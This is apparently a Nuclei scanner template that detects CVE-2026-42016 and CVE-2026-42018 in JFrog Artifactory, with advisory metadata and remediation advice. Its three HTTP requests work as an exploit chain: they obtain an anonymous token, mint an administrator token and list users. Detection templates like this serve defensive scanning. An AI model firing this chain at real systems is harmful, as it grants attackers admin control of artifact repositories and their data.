Copy
id: CVE-2026-42016
info:
name: JFrog Artifactory - Unauthenticated Admin Token Minting via Token Scope Bypass
author: theamanrawat
severity: high
description: |
JFrog Artifactory Self-Hosted can disclose an anonymous token through the trailing-slash AWS token endpoint (CVE-2026-42018), and affected releases can use that token to issue an administrator-scoped token without enforcing its scope (CVE-2026-42016).
impact: |
An unauthenticated attacker can obtain an administrator token and access protected platform data and functions.
remediation: |
Upgrade to a JFrog Artifactory release that fixes both CVE-2026-42016 and CVE-2026-42018; consult the JFrog advisory for the applicable release branch.
reference:
- https://docs.jfrog.com/releases/docs/jfrog-security-advisories
- https://www.wiz.io/blog/artifactory-under-attack-in-the-wild-exploitation-of-cve-2026-42016-cve-2026-4201
- https://docs.jfrog.com/administration/reference/createToken
- https://docs.jfrog.com/administration/reference/getUserList
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2026-42016
epss-score: 0.08643
epss-percentile: 0.95153
cwe-id: CWE-863
metadata:
verified: false
max-request: 3
vendor: jfrog
product: artifactory
shodan-query: 'http.title:"JFrog"'
fofa-query: 'title="JFrog"'
tags: cve,cve2026,jfrog,artifactory,auth-bypass,privilege-escalation,token,kev,vkev
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /access/api/v1/aws/token/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- '"username"\s*:\s*"anonymous"'
internal: true
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "access_token")'
condition: and
internal: true
extractors:
- type: json
name: anon_jwt
part: body
json:
- '.access_token'
internal: true
- raw:
- |
POST /access/api/v1/tokens HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{anon_jwt}}
{"username":"admin","scope":"applied-permissions/admin","expires_in":60}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "access_token")'
condition: and
internal: true
- type: regex
part: body
regex:
- '"scope"\s*:\s*"applied-permissions/admin"'
internal: true
extractors:
- type: json
name: admin_token
part: body
json:
- '.access_token'
internal: true
- raw:
- |
GET /access/api/v2/users?limit=1 HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{admin_token}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'contains(body, "\"users\"")'
- 'contains(content_type, "application/json")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022100a992694c175c4066f7b134700971a8f2e15d28aa94e495aeb83823f15c977cea02205d50335db1f1a4f0460b0cbf73feb4b2829ecd9743c91a94f5fa2c73448ffb20:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.